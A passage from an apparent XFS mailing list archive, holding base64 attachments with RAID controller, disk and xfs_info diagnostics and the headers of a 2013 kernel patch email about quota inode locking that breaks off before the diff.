UlQgICAgICAgICAgICAgICAgOiBObwpFbmFibGUgQ29weWJhY2sgdG8gU1NEIG9uIFNNQVJUIEVy cm9yICAgOiBZZXMKRW5hYmxlIFNTRCBQYXRyb2wgUmVhZCAgICAgICAgICAgICAgICAgIDogTm8K UFIgQ29ycmVjdCBVbmNvbmZpZ3VyZWQgQXJlYXMgICAgICAgICAgIDogWWVzCkVuYWJsZSBTcGlu IERvd24gb2YgVW5Db25maWd1cmVkIERyaXZlcyA6IFllcwpEaXNhYmxlIFNwaW4gRG93biBvZiBo b3Qgc3BhcmVzICAgICAgICAgOiBObwpTcGluIERvd24gdGltZSAgICAgICAgICAgICAgICAgICAg ICAgICAgOiAzMCAKVDEwIFBvd2VyIFN0YXRlICAgICAgICAgICAgICAgICAgICAgICAgIDogTm8K ICAgICAgICAgICAgICAgIEVycm9yIENvdW50ZXJzCiAgICAgICAgICAgICAgICA9PT09PT09PT09 PT09PT09Ck1lbW9yeSBDb3JyZWN0YWJsZSBFcnJvcnMgICA6IDAgCk1lbW9yeSBVbmNvcnJlY3Rh YmxlIEVycm9ycyA6IDAgCgogICAgICAgICAgICAgICAgQ2x1c3RlciBJbmZvcm1hdGlvbgogICAg ICAgICAgICAgICAgPT09PT09PT09PT09PT09PQpDbHVzdGVyIFBlcm1pdHRlZCAgICAgOiBObwpD bHVzdGVyIEFjdGl2ZSAgICAgICAgOiBObwoKICAgICAgICAgICAgICAgIERlZmF1bHQgU2V0dGlu Z3MKICAgICAgICAgICAgICAgID09PT09PT09PT09PT09PT0KUGh5IFBvbGFyaXR5ICAgICAgICAg ICAgICAgICAgICAgOiAwIApQaHkgUG9sYXJpdHlTcGxpdCAgICAgICAgICAgICAgICA6IDAgCkJh Y2tncm91bmQgUmF0ZSAgICAgICAgICAgICAgICAgIDogMzAgClN0cmlwIFNpemUgICAgICAgICAg ICAgICAgICAgICAgIDogMjU2a0IKRmx1c2ggVGltZSAgICAgICAgICAgICAgICAgICAgICAgOiA0 IHNlY29uZHMKV3JpdGUgUG9saWN5ICAgICAgICAgICAgICAgICAgICAgOiBXQgpSZWFkIFBvbGlj eSAgICAgICAgICAgICAgICAgICAgICA6IFJBCkNhY2hlIFdoZW4gQkJVIEJhZCAgICAgICAgICAg ICAgIDogRGlzYWJsZWQKQ2FjaGVkIElPICAgICAgICAgICAgICAgICAgICAgICAgOiBObwpTTUFS VCBNb2RlICAgICAgICAgICAgICAgICAgICAgICA6IE1vZGUgNgpBbGFybSBEaXNhYmxlICAgICAg ICAgICAgICAgICAgICA6IFllcwpDb2VyY2lvbiBNb2RlICAgICAgICAgICAgICAgICAgICA6IE5v bmUKWkNSIENvbmZpZyAgICAgICAgICAgICAgICAgICAgICAgOiBVbmtub3duCkRpcnR5IExFRCBT aG93cyBEcml2ZSBBY3Rpdml0eSAgIDogTm8KQklPUyBDb250aW51ZSBvbiBFcnJvciAgICAgICAg ICAgOiAzIApTcGluIERvd24gTW9kZSAgICAgICAgICAgICAgICAgICA6IE5vbmUKQWxsb3dlZCBE ZXZpY2UgVHlwZSAgICAgICAgICAgICAgOiBTQVMvU0FUQSBNaXgKQWxsb3cgTWl4IGluIEVuY2xv c3VyZSAgICAgICAgICAgOiBZZXMKQWxsb3cgSEREIFNBUy9TQVRBIE1peCBpbiBWRCAgICAgOiBZ ZXMKQWxsb3cgU1NEIFNBUy9TQVRBIE1peCBpbiBWRCAgICAgOiBZZXMKQWxsb3cgSEREL1NTRCBN aXggaW4gVkQgICAgICAgICAgOiBZZXMKQWxsb3cgU0FUQSBpbiBDbHVzdGVyICAgICAgICAgICAg OiBObwpNYXggQ2hhaW5lZCBFbmNsb3N1cmVzICAgICAgICAgICA6IDE2IApEaXNhYmxlIEN0cmwt UiAgICAgICAgICAgICAgICAgICA6IFllcwpFbmFibGUgV2ViIEJJT1MgICAgICAgICAgICAgICAg ICA6IFllcwpEaXJlY3QgUEQgTWFwcGluZyAgICAgICAgICAgICAgICA6IE5vCkJJT1MgRW51bWVy YXRlIFZEcyAgICAgICAgICAgICAgIDogWWVzClJlc3RvcmUgSG90IFNwYXJlIG9uIEluc2VydGlv biAgIDogTm8KRXhwb3NlIEVuY2xvc3VyZSBEZXZpY2VzICAgICAgICAgOiBZZXMKTWFpbnRhaW4g UEQgRmFpbCBIaXN0b3J5ICAgICAgICAgOiBZZXMKRGlzYWJsZSBQdW5jdHVyaW5nICAgICAgICAg ICAgICAgOiBObwpaZXJvIEJhc2VkIEVuY2xvc3VyZSBFbnVtZXJhdGlvbiA6IE5vClByZUJvb3Qg Q0xJIEVuYWJsZWQgICAgICAgICAgICAgIDogWWVzCkxFRCBTaG93IERyaXZlIEFjdGl2aXR5ICAg ICAgICAgIDogWWVzCkNsdXN0ZXIgRGlzYWJsZSAgICAgICAgICAgICAgICAgIDogWWVzClNBUyBE aXNhYmxlICAgICAgICAgICAgICAgICAgICAgIDogTm8KQXV0byBEZXRlY3QgQmFja1BsYW5lIEVu YWJsZSAgICAgOiBTR1BJTy9pMmMgU0VQClVzZSBGREUgT25seSAgICAgICAgICAgICAgICAgICAg IDogTm8KRW5hYmxlIExlZCBIZWFkZXIgICAgICAgICAgICAgICAgOiBZZXMKRGVsYXkgZHVyaW5n IFBPU1QgICAgICAgICAgICAgICAgOiAwIApFbmFibGVDcmFzaER1bXAgICAgICAgICAgICAgICAg ICA6IE5vCkRpc2FibGUgT25saW5lIENvbnRyb2xsZXIgUmVzZXQgIDogTm8KRW5hYmxlTERCQk0g ICAgICAgICAgICAgICAgICAgICAgOiBZZXMKVW4tQ2VydGlmaWVkIEhhcmQgRGlzayBEcml2ZXMg ICAgOiBBbGxvdwpUcmVhdCBTaW5nbGUgc3BhbiBSMUUgYXMgUjEwICAgICA6IE5vCk1heCBMRCBw ZXIgYXJyYXkgICAgICAgICAgICAgICAgIDogMTYKUG93ZXIgU2F2aW5nIG9wdGlvbiAgICAgICAg ICAgICAgOiBEb24ndCBBdXRvIHNwaW4gZG93biBDb25maWd1cmVkIERyaXZlcwpNYXggcG93ZXIg c2F2aW5ncyBvcHRpb24gaXMgIG5vdCBhbGxvd2VkIGZvciBMRHMuIE9ubHkgVDEwIHBvd2VyIGNv bmRpdGlvbnMgYXJlIHRvIGJlIHVzZWQuCkRlZmF1bHQgc3BpbiBkb3duIHRpbWUgaW4gbWludXRl czogMzAgCkVuYWJsZSBKQk9EICAgICAgICAgICAgICAgICAgICAgIDogTm8KVFRZIExvZyBJbiBG bGFzaCAgICAgICAgICAgICAgICAgOiBObwpBdXRvIEVuaGFuY2VkIEltcG9ydCAgICAgICAgICAg ICA6IFllcwpCcmVha01pcnJvciBSQUlEIFN1cHBvcnQgICAgICAgICA6IFllcwpEaXNhYmxlIEpv aW4gTWlycm9yICAgICAgICAgICAgICA6IE5vCkVuYWJsZSBTaGllbGQgU3RhdGUgICAgICAgICAg ICAgIDogTm8KVGltZSB0YWtlbiB0byBkZXRlY3QgQ01FICAgICAgICAgOiA2MHMKCkV4aXQgQ29k ZTogMHgwMAo= --f46d04428770e298a604eccb9add Content-Type: text/plain; charset=US-ASCII; name="megaraid_drive_info.txt" Content-Disposition: attachment; filename="megaraid_drive_info.txt" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hou6dstg1 U3lzdGVtCglPcGVyYXRpbmcgU3lzdGVtOiAgTGludXggdmVyc2lvbiAyLjYuMzItMzU4LjIzLjIu ZWw2Lng4Nl82NCAKCURyaXZlciBWZXJzaW9uOiAwNi41MDQuMDEuMDAtcmgxCglDTEkgVmVyc2lv bjogOC4wNy4wNwoKQWRhcHRlciAwIC0tIFZpcnR1YWwgRHJpdmUgSW5mb3JtYXRpb246ClZpcnR1 YWwgRHJpdmU6IDAgKFRhcmdldCBJZDogMCkKTmFtZSAgICAgICAgICAgICAgICA6ClJBSUQgTGV2 ZWwgICAgICAgICAgOiBQcmltYXJ5LTYsIFNlY29uZGFyeS0wLCBSQUlEIExldmVsIFF1YWxpZmll ci0zClNpemUgICAgICAgICAgICAgICAgOiAyNS40NjMgVEIKU2VjdG9yIFNpemUgICAgICAgICA6 IDUxMgpJcyBWRCBlbXVsYXRlZCAgICAgIDogTm8KUGFyaXR5IFNpemUgICAgICAgICA6IDMuNjM3 IFRCClN0YXRlICAgICAgICAgICAgICAgOiBPcHRpbWFsClN0cmlwIFNpemUgICAgICAgICAgOiA2 NCBLQgpOdW1iZXIgT2YgRHJpdmVzICAgIDogMTYKU3BhbiBEZXB0aCAgICAgICAgICA6IDEKRGVm YXVsdCBDYWNoZSBQb2xpY3k6IFdyaXRlQmFjaywgUmVhZEFoZWFkLCBDYWNoZWQsIE5vIFdyaXRl IENhY2hlIGlmIEJhZCBCQlUKQ3VycmVudCBDYWNoZSBQb2xpY3k6IFdyaXRlQmFjaywgUmVhZEFo ZWFkLCBDYWNoZWQsIE5vIFdyaXRlIENhY2hlIGlmIEJhZCBCQlUKRGVmYXVsdCBBY2Nlc3MgUG9s aWN5OiBSZWFkL1dyaXRlCkN1cnJlbnQgQWNjZXNzIFBvbGljeTogUmVhZC9Xcml0ZQpEaXNrIENh Y2hlIFBvbGljeSAgIDogRW5hYmxlZApFbmNyeXB0aW9uIFR5cGUgICAgIDogTm9uZQpCYWQgQmxv Y2tzIEV4aXN0OiBObwpJcyBWRCBDYWNoZWQ6IE5vCgoKCkV4aXQgQ29kZTogMHgwMAoKSGFyZHdh cmUKICAgICAgICBDb250cm9sbGVyCiAgICAgICAgICAgICAgICAgUHJvZHVjdE5hbWUgICAgICAg OiBMU0kgTWVnYVJBSUQgU0FTIDkyNjAtNGkoQnVzIDAsIERldiAwKQogICAgICAgICAgICAgICAg IFNBUyBBZGRyZXNzICAgICAgIDogNTAwNjA1YjAwNDEzNzgyMAogICAgICAgICAgICAgICAgIEZX IFBhY2thZ2UgVmVyc2lvbjogMTIuMTQuMC0wMTY3CiAgICAgICAgICAgICAgICAgU3RhdHVzICAg ICAgICAgICAgOiBPcHRpbWFsCiAgICAgICAgQkJVCiAgICAgICAgICAgICAgICAgQkJVIFR5cGUg ICAgICAgICAgOiBpQkJVCiAgICAgICAgICAgICAgICAgU3RhdHVzICAgICAgICAgICAgOiBIZWFs dGh5CiAgICAgICAgRW5jbG9zdXJlCiAgICAgICAgICAgICAgICAgUHJvZHVjdCBJZCAgICAgICAg OiBTQVMyWDI4ICAgICAgICAgCiAgICAgICAgICAgICAgICAgVHlwZSAgICAgICAgICAgICAgOiBT RVMKICAgICAgICAgICAgICAgICBTdGF0dXMgICAgICAgICAgICA6IE9LCgogICAgICAgICAgICAg ICAgIFByb2R1Y3QgSWQgICAgICAgIDogU0dQSU8gICAgICAgICAgIAogICAgICAgICAgICAgICAg IFR5cGUgICAgICAgICAgICAgIDogU0dQSU8KICAgICAgICAgICAgICAgICBTdGF0dXMgICAgICAg ICAgICA6IE9LCgogICAgICAgIFBEIAogICAgICAgICAgICAgICAgQ29ubmVjdG9yICAgICAgICAg IDogUG9ydCAwIC0gMzxJbnRlcm5hbD48RW5jbCBQb3MgMSA+OiBTbG90IDAgCiAgICAgICAgICAg ICAgICBWZW5kb3IgSWQgICAgICAgICAgOiBBVEEgICAgIAogICAgICAgICAgICAgICAgUHJvZHVj dCBJZCAgICAgICAgIDogV0RDIFdEMjAwMkZBRVgtMAogICAgICAgICAgICAgICAgU3RhdGUgICAg ICAgICAgICAgIDogT25saW5lCiAgICAgICAgICAgICAgICBEaXNrIFR5cGUgICAgICAgICAgOiBT QVRBLEhhcmQgRGlzayBEZXZpY2UKICAgICAgICAgICAgICAgIENhcGFjaXR5ICAgICAgICAgICA6 IDEuODE4IFRCCiAgICAgICAgICAgICAgICBQb3dlciBTdGF0ZSAgICAgICAgOiBBY3RpdmUKCiAg ICAgICAgICAgICAgICBDb25uZWN0b3IgICAgICAgICAgOiBQb3J0IDAgLSAzPEludGVybmFsPjxF bmNsIFBvcyAxID46IFNsb3QgMSAKICAgICAgICAgICAgICAgIFZlbmRvciBJZCAgICAgICAgICA6 IEFUQSAgICAgCiAgICAgICAgICAgICAgICBQcm9kdWN0IElkICAgICAgICAgOiBXREMgV0QyMDAy RkFFWC0wCiAgICAgICAgICAgICAgICBTdGF0ZSAgICAgICAgICAgICAgOiBPbmxpbmUKICAgICAg ICAgICAgICAgIERpc2sgVHlwZSAgICAgICAgICA6IFNBVEEsSGFyZCBEaXNrIERldmljZQogICAg ICAgICAgICAgICAgQ2FwYWNpdHkgICAgICAgICAgIDogMS44MTggVEIKICAgICAgICAgICAgICAg IFBvd2VyIFN0YXRlICAgICAgICA6IEFjdGl2ZQoKICAgICAgICAgICAgICAgIENvbm5lY3RvciAg ICAgICAgICA6IFBvcnQgMCAtIDM8SW50ZXJuYWw+PEVuY2wgUG9zIDEgPjogU2xvdCAyIAogICAg ICAgICAgICAgICAgVmVuZG9yIElkICAgICAgICAgIDogQVRBICAgICAKICAgICAgICAgICAgICAg IFByb2R1Y3QgSWQgICAgICAgICA6IFdEQyBXRDIwMDJGQUVYLTAKICAgICAgICAgICAgICAgIFN0 YXRlICAgICAgICAgICAgICA6IE9ubGluZQogICAgICAgICAgICAgICAgRGlzayBUeXBlICAgICAg ICAgIDogU0FUQSxIYXJkIERpc2sgRGV2aWNlCiAgICAgICAgICAgICAgICBDYXBhY2l0eSAgICAg ICAgICAgOiAxLjgxOCBUQgogICAgICAgICAgICAgICAgUG93ZXIgU3RhdGUgICAgICAgIDogQWN0 aXZlCgogICAgICAgICAgICAgICAgQ29ubmVjdG9yICAgICAgICAgIDogUG9ydCAwIC0gMzxJbnRl cm5hbD48RW5jbCBQb3MgMSA+OiBTbG90IDMgCiAgICAgICAgICAgICAgICBWZW5kb3IgSWQgICAg ICAgICAgOiBBVEEgICAgIAogICAgICAgICAgICAgICAgUHJvZHVjdCBJZCAgICAgICAgIDogV0RD IFdEMjAwMkZBRVgtMAogICAgICAgICAgICAgICAgU3RhdGUgICAgICAgICAgICAgIDogT25saW5l CiAgICAgICAgICAgICAgICBEaXNrIFR5cGUgICAgICAgICAgOiBTQVRBLEhhcmQgRGlzayBEZXZp Y2UKICAgICAgICAgICAgICAgIENhcGFjaXR5ICAgICAgICAgICA6IDEuODE4IFRCCiAgICAgICAg ICAgICAgICBQb3dlciBTdGF0ZSAgICAgICAgOiBBY3RpdmUKCiAgICAgICAgICAgICAgICBDb25u ZWN0b3IgICAgICAgICAgOiBQb3J0IDAgLSAzPEludGVybmFsPjxFbmNsIFBvcyAxID46IFNsb3Qg NSAKICAgICAgICAgICAgICAgIFZlbmRvciBJZCAgICAgICAgICA6IEFUQSAgICAgCiAgICAgICAg ICAgICAgICBQcm9kdWN0IElkICAgICAgICAgOiBXREMgV0QyMDAyRkFFWC0wCiAgICAgICAgICAg ICAgICBTdGF0ZSAgICAgICAgICAgICAgOiBPbmxpbmUKICAgICAgICAgICAgICAgIERpc2sgVHlw ZSAgICAgICAgICA6IFNBVEEsSGFyZCBEaXNrIERldmljZQogICAgICAgICAgICAgICAgQ2FwYWNp dHkgICAgICAgICAgIDogMS44MTggVEIKICAgICAgICAgICAgICAgIFBvd2VyIFN0YXRlICAgICAg ICA6IEFjdGl2ZQoKICAgICAgICAgICAgICAgIENvbm5lY3RvciAgICAgICAgICA6IFBvcnQgMCAt IDM8SW50ZXJuYWw+PEVuY2wgUG9zIDEgPjogU2xvdCA2IAogICAgICAgICAgICAgICAgVmVuZG9y IElkICAgICAgICAgIDogQVRBICAgICAKICAgICAgICAgICAgICAgIFByb2R1Y3QgSWQgICAgICAg ICA6IFdEQyBXRDIwMDJGQUVYLTAKICAgICAgICAgICAgICAgIFN0YXRlICAgICAgICAgICAgICA6 IE9ubGluZQogICAgICAgICAgICAgICAgRGlzayBUeXBlICAgICAgICAgIDogU0FUQSxIYXJkIERp c2sgRGV2aWNlCiAgICAgICAgICAgICAgICBDYXBhY2l0eSAgICAgICAgICAgOiAxLjgxOCBUQgog ICAgICAgICAgICAgICAgUG93ZXIgU3RhdGUgICAgICAgIDogQWN0aXZlCgogICAgICAgICAgICAg ICAgQ29ubmVjdG9yICAgICAgICAgIDogUG9ydCAwIC0gMzxJbnRlcm5hbD48RW5jbCBQb3MgMSA+ OiBTbG90IDcgCiAgICAgICAgICAgICAgICBWZW5kb3IgSWQgICAgICAgICAgOiBBVEEgICAgIAog ICAgICAgICAgICAgICAgUHJvZHVjdCBJZCAgICAgICAgIDogV0RDIFdEMjAwMkZBRVgtMAogICAg ICAgICAgICAgICAgU3RhdGUgICAgICAgICAgICAgIDogT25saW5lCiAgICAgICAgICAgICAgICBE aXNrIFR5cGUgICAgICAgICAgOiBTQVRBLEhhcmQgRGlzayBEZXZpY2UKICAgICAgICAgICAgICAg IENhcGFjaXR5ICAgICAgICAgICA6IDEuODE4IFRCCiAgICAgICAgICAgICAgICBQb3dlciBTdGF0 ZSAgICAgICAgOiBBY3RpdmUKCiAgICAgICAgICAgICAgICBDb25uZWN0b3IgICAgICAgICAgOiBQ b3J0IDAgLSAzPEludGVybmFsPjxFbmNsIFBvcyAxID46IFNsb3QgNCAKICAgICAgICAgICAgICAg IFZlbmRvciBJZCAgICAgICAgICA6IEFUQSAgICAgCiAgICAgICAgICAgICAgICBQcm9kdWN0IElk ICAgICAgICAgOiBXREMgV0QyMDAyRkFFWC0wCiAgICAgICAgICAgICAgICBTdGF0ZSAgICAgICAg ICAgICAgOiBPbmxpbmUKICAgICAgICAgICAgICAgIERpc2sgVHlwZSAgICAgICAgICA6IFNBVEEs SGFyZCBEaXNrIERldmljZQogICAgICAgICAgICAgICAgQ2FwYWNpdHkgICAgICAgICAgIDogMS44 MTggVEIKICAgICAgICAgICAgICAgIFBvd2VyIFN0YXRlICAgICAgICA6IEFjdGl2ZQoKICAgICAg ICAgICAgICAgIENvbm5lY3RvciAgICAgICAgICA6IFBvcnQgMCAtIDM8SW50ZXJuYWw+PEVuY2wg UG9zIDEgPjogU2xvdCAxMSAKICAgICAgICAgICAgICAgIFZlbmRvciBJZCAgICAgICAgICA6IEFU QSAgICAgCiAgICAgICAgICAgICAgICBQcm9kdWN0IElkICAgICAgICAgOiBXREMgV0QyMDAyRkFF WC0wCiAgICAgICAgICAgICAgICBTdGF0ZSAgICAgICAgICAgICAgOiBPbmxpbmUKICAgICAgICAg ICAgICAgIERpc2sgVHlwZSAgICAgICAgICA6IFNBVEEsSGFyZCBEaXNrIERldmljZQogICAgICAg ICAgICAgICAgQ2FwYWNpdHkgICAgICAgICAgIDogMS44MTggVEIKICAgICAgICAgICAgICAgIFBv d2VyIFN0YXRlICAgICAgICA6IEFjdGl2ZQoKICAgICAgICAgICAgICAgIENvbm5lY3RvciAgICAg ICAgICA6IFBvcnQgMCAtIDM8SW50ZXJuYWw+PEVuY2wgUG9zIDEgPjogU2xvdCAxMCAKICAgICAg ICAgICAgICAgIFZlbmRvciBJZCAgICAgICAgICA6IEFUQSAgICAgCiAgICAgICAgICAgICAgICBQ cm9kdWN0IElkICAgICAgICAgOiBXREMgV0QyMDAyRkFFWC0wCiAgICAgICAgICAgICAgICBTdGF0 ZSAgICAgICAgICAgICAgOiBPbmxpbmUKICAgICAgICAgICAgICAgIERpc2sgVHlwZSAgICAgICAg ICA6IFNBVEEsSGFyZCBEaXNrIERldmljZQogICAgICAgICAgICAgICAgQ2FwYWNpdHkgICAgICAg ICAgIDogMS44MTggVEIKICAgICAgICAgICAgICAgIFBvd2VyIFN0YXRlICAgICAgICA6IEFjdGl2 ZQoKICAgICAgICAgICAgICAgIENvbm5lY3RvciAgICAgICAgICA6IFBvcnQgMCAtIDM8SW50ZXJu YWw+PEVuY2wgUG9zIDEgPjogU2xvdCA5IAogICAgICAgICAgICAgICAgVmVuZG9yIElkICAgICAg ICAgIDogQVRBICAgICAKICAgICAgICAgICAgICAgIFByb2R1Y3QgSWQgICAgICAgICA6IFdEQyBX RDIwMDJGQUVYLTAKICAgICAgICAgICAgICAgIFN0YXRlICAgICAgICAgICAgICA6IE9ubGluZQog ICAgICAgICAgICAgICAgRGlzayBUeXBlICAgICAgICAgIDogU0FUQSxIYXJkIERpc2sgRGV2aWNl CiAgICAgICAgICAgICAgICBDYXBhY2l0eSAgICAgICAgICAgOiAxLjgxOCBUQgogICAgICAgICAg ICAgICAgUG93ZXIgU3RhdGUgICAgICAgIDogQWN0aXZlCgogICAgICAgICAgICAgICAgQ29ubmVj dG9yICAgICAgICAgIDogUG9ydCAwIC0gMzxJbnRlcm5hbD48RW5jbCBQb3MgMSA+OiBTbG90IDgg CiAgICAgICAgICAgICAgICBWZW5kb3IgSWQgICAgICAgICAgOiBBVEEgICAgIAogICAgICAgICAg ICAgICAgUHJvZHVjdCBJZCAgICAgICAgIDogV0RDIFdEMjAwMkZBRVgtMAogICAgICAgICAgICAg ICAgU3RhdGUgICAgICAgICAgICAgIDogT25saW5lCiAgICAgICAgICAgICAgICBEaXNrIFR5cGUg ICAgICAgICAgOiBTQVRBLEhhcmQgRGlzayBEZXZpY2UKICAgICAgICAgICAgICAgIENhcGFjaXR5 ICAgICAgICAgICA6IDEuODE4IFRCCiAgICAgICAgICAgICAgICBQb3dlciBTdGF0ZSAgICAgICAg OiBBY3RpdmUKCiAgICAgICAgICAgICAgICBDb25uZWN0b3IgICAgICAgICAgOiBQb3J0IDAgLSAz PEludGVybmFsPjxFbmNsIFBvcyAxID46IFNsb3QgMTUgCiAgICAgICAgICAgICAgICBWZW5kb3Ig SWQgICAgICAgICAgOiBBVEEgICAgIAogICAgICAgICAgICAgICAgUHJvZHVjdCBJZCAgICAgICAg IDogV0RDIFdEMjAwMkZBRVgtMAogICAgICAgICAgICAgICAgU3RhdGUgICAgICAgICAgICAgIDog T25saW5lCiAgICAgICAgICAgICAgICBEaXNrIFR5cGUgICAgICAgICAgOiBTQVRBLEhhcmQgRGlz ayBEZXZpY2UKICAgICAgICAgICAgICAgIENhcGFjaXR5ICAgICAgICAgICA6IDEuODE4IFRCCiAg ICAgICAgICAgICAgICBQb3dlciBTdGF0ZSAgICAgICAgOiBBY3RpdmUKCiAgICAgICAgICAgICAg ICBDb25uZWN0b3IgICAgICAgICAgOiBQb3J0IDAgLSAzPEludGVybmFsPjxFbmNsIFBvcyAxID46 IFNsb3QgMTQgCiAgICAgICAgICAgICAgICBWZW5kb3IgSWQgICAgICAgICAgOiBBVEEgICAgIAog ICAgICAgICAgICAgICAgUHJvZHVjdCBJZCAgICAgICAgIDogV0RDIFdEMjAwMkZBRVgtMAogICAg ICAgICAgICAgICAgU3RhdGUgICAgICAgICAgICAgIDogT25saW5lCiAgICAgICAgICAgICAgICBE aXNrIFR5cGUgICAgICAgICAgOiBTQVRBLEhhcmQgRGlzayBEZXZpY2UKICAgICAgICAgICAgICAg IENhcGFjaXR5ICAgICAgICAgICA6IDEuODE4IFRCCiAgICAgICAgICAgICAgICBQb3dlciBTdGF0 ZSAgICAgICAgOiBBY3RpdmUKCiAgICAgICAgICAgICAgICBDb25uZWN0b3IgICAgICAgICAgOiBQ b3J0IDAgLSAzPEludGVybmFsPjxFbmNsIFBvcyAxID46IFNsb3QgMTMgCiAgICAgICAgICAgICAg ICBWZW5kb3IgSWQgICAgICAgICAgOiBBVEEgICAgIAogICAgICAgICAgICAgICAgUHJvZHVjdCBJ ZCAgICAgICAgIDogV0RDIFdEMjAwMkZBRVgtMAogICAgICAgICAgICAgICAgU3RhdGUgICAgICAg ICAgICAgIDogT25saW5lCiAgICAgICAgICAgICAgICBEaXNrIFR5cGUgICAgICAgICAgOiBTQVRB LEhhcmQgRGlzayBEZXZpY2UKICAgICAgICAgICAgICAgIENhcGFjaXR5ICAgICAgICAgICA6IDEu ODE4IFRCCiAgICAgICAgICAgICAgICBQb3dlciBTdGF0ZSAgICAgICAgOiBBY3RpdmUKCiAgICAg ICAgICAgICAgICBDb25uZWN0b3IgICAgICAgICAgOiBQb3J0IDAgLSAzPEludGVybmFsPjxFbmNs IFBvcyAxID46IFNsb3QgMTIgCiAgICAgICAgICAgICAgICBWZW5kb3IgSWQgICAgICAgICAgOiBB VEEgICAgIAogICAgICAgICAgICAgICAgUHJvZHVjdCBJZCAgICAgICAgIDogV0RDIFdEMjAwMkZB RVgtMAogICAgICAgICAgICAgICAgU3RhdGUgICAgICAgICAgICAgIDogT25saW5lCiAgICAgICAg ICAgICAgICBEaXNrIFR5cGUgICAgICAgICAgOiBTQVRBLEhhcmQgRGlzayBEZXZpY2UKICAgICAg ICAgICAgICAgIENhcGFjaXR5ICAgICAgICAgICA6IDEuODE4IFRCCiAgICAgICAgICAgICAgICBQ b3dlciBTdGF0ZSAgICAgICAgOiBBY3RpdmUKClN0b3JhZ2UKCiAgICAgICBWaXJ0dWFsIERyaXZl cwogICAgICAgICAgICAgICAgVmlydHVhbCBkcml2ZSAgICAgIDogVGFyZ2V0IElkIDAgLFZEIG5h bWUgCiAgICAgICAgICAgICAgICBTaXplICAgICAgICAgICAgICAgOiAyNS40NjMgVEIKICAgICAg ICAgICAgICAgIFN0YXRlICAgICAgICAgICAgICA6IE9wdGltYWwKICAgICAgICAgICAgICAgIFJB SUQgTGV2ZWwgICAgICAgICA6IDYgCgoKRXhpdCBDb2RlOiAweDAwCg== --f46d04428770e298a604eccb9add Content-Type: text/plain; charset=US-ASCII; name="xfs_info.txt" Content-Disposition: attachment; filename="xfs_info.txt" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hou6dstp2 bWV0YS1kYXRhPS9kZXYvc2RhMSAgICAgICAgICAgICAgaXNpemU9MjU2ICAgIGFnY291bnQ9MjYs IGFnc2l6ZT0yNjg0MzU0NTUgYmxrcwogICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICBz ZWN0c3o9NTEyICAgYXR0cj0yCmRhdGEgICAgID0gICAgICAgICAgICAgICAgICAgICAgIGJzaXpl PTQwOTYgICBibG9ja3M9NjgzNTQwNDI4OCwgaW1heHBjdD01CiAgICAgICAgID0gICAgICAgICAg ICAgICAgICAgICAgIHN1bml0PTAgICAgICBzd2lkdGg9MCBibGtzCm5hbWluZyAgID12ZXJzaW9u IDIgICAgICAgICAgICAgIGJzaXplPTQwOTYgICBhc2NpaS1jaT0wCmxvZyAgICAgID1pbnRlcm5h bCAgICAgICAgICAgICAgIGJzaXplPTQwOTYgICBibG9ja3M9NTIxNzI4LCB2ZXJzaW9uPTIKICAg ICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgc2VjdHN6PTUxMiAgIHN1bml0PTAgYmxrcywg bGF6eS1jb3VudD0xCnJlYWx0aW1lID1ub25lICAgICAgICAgICAgICAgICAgIGV4dHN6PTQwOTYg ICBibG9ja3M9MCwgcnRleHRlbnRzPTAK --f46d04428770e298a604eccb9add-- From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 09:59:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 016B17F54 for ; Thu, 5 Dec 2013 09:59:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D10B2304071 for ; Thu, 5 Dec 2013 07:59:52 -0800 (PST) X-ASG-Debug-ID: 1386259191-04bdf01323418a0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id GWvc0KWd8NAI6fhH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 07:59:51 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VobLD-0004wr-KF for xfs@oss.sgi.com; Thu, 05 Dec 2013 15:59:51 +0000 Message-Id: <20131205155951.506063990@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 05 Dec 2013 07:58:33 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 3/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqiterate References: <20131205155830.620826868@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 3/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqiterate Content-Disposition: inline; filename=xfs-quota-locking-2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386259191 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_qm.c =================================================================== --- xfs.orig/fs/xfs/xfs_qm.c 2013-11-18 